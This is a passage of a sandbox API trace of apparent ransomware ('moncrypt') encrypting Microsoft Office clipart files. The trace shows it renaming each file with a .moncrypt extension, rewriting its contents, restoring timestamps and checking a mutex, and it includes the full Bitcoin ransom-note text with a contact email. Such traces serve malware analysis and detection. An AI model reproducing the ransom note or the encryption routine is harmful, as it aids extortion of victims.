0x0 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.506] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.506] CloseHandle (hObject=0x188) returned 1 [0060.506] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0060.506] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.506] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.506] GlobalLock (hMem=0x440004) returned 0x550170 [0060.506] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.506] GlobalUnlock (hMem=0x440004) returned 0 [0060.506] GlobalLock (hMem=0x440004) returned 0x550170 [0060.507] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.507] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.507] GlobalUnlock (hMem=0x440004) returned 0 [0060.507] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.507] GlobalUnlock (hMem=0x44000c) returned 0 [0060.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.507] CharLowerBuffW (in: lpsz="AN04225_.WMF", cchLength=0xc | out: lpsz="an04225_.wmf") returned 0xc [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.508] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04225_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.508] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.508] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.508] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", dwFileAttributes=0x20) returned 1 [0060.509] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.moncrypt")) returned 1 [0060.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.509] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.510] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x212c [0060.510] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.510] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x212c, lpOverlapped=0x0) returned 1 [0060.512] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.512] GlobalLock (hMem=0x440004) returned 0x550170 [0060.512] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.512] GlobalUnlock (hMem=0x440004) returned 0 [0060.512] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0060.512] GlobalLock (hMem=0x440004) returned 0x55bb88 [0060.512] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.512] GlobalUnlock (hMem=0x44000c) returned 0 [0060.513] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0060.513] GlobalUnlock (hMem=0x440004) returned 0 [0060.513] GlobalLock (hMem=0x440004) returned 0x550170 [0060.513] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.513] GlobalUnlock (hMem=0x440004) returned 0 [0060.513] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0060.513] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.513] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.513] GlobalUnlock (hMem=0x440004) returned 0 [0060.513] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.513] WriteFile (in: hFile=0x188, lpBuffer=0x1dc6a68*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc6a68*, lpNumberOfBytesWritten=0x18ea30*=0x2140, lpOverlapped=0x0) returned 1 [0060.513] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.513] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.525] WriteFile (in: hFile=0x188, lpBuffer=0x1dc6a88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc6a88*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.525] CloseHandle (hObject=0x188) returned 1 [0060.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.526] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.526] CloseHandle (hObject=0x188) returned 1 [0060.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.527] GlobalLock (hMem=0x440004) returned 0x550170 [0060.527] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.527] GlobalUnlock (hMem=0x440004) returned 0 [0060.527] GlobalLock (hMem=0x440004) returned 0x550170 [0060.527] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.527] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.527] GlobalUnlock (hMem=0x440004) returned 0 [0060.527] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.527] GlobalUnlock (hMem=0x44000c) returned 0 [0060.527] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.527] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.528] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.528] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.528] CloseHandle (hObject=0x188) returned 1 [0060.528] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0060.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.529] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.529] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.529] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.529] GlobalUnlock (hMem=0x44000c) returned 0 [0060.529] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.529] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.529] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.529] GlobalUnlock (hMem=0x44000c) returned 0 [0060.529] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.529] GlobalUnlock (hMem=0x440004) returned 0 [0060.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.529] CharLowerBuffW (in: lpsz="AN04235_.WMF", cchLength=0xc | out: lpsz="an04235_.wmf") returned 0xc [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.530] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04235_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.530] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.530] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.566] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", dwFileAttributes=0x20) returned 1 [0060.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.moncrypt")) returned 1 [0060.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.569] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.569] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1e7c [0060.569] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.569] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1e7c, lpOverlapped=0x0) returned 1 [0060.570] GlobalLock (hMem=0x440004) returned 0x550170 [0060.571] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.571] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.571] GlobalUnlock 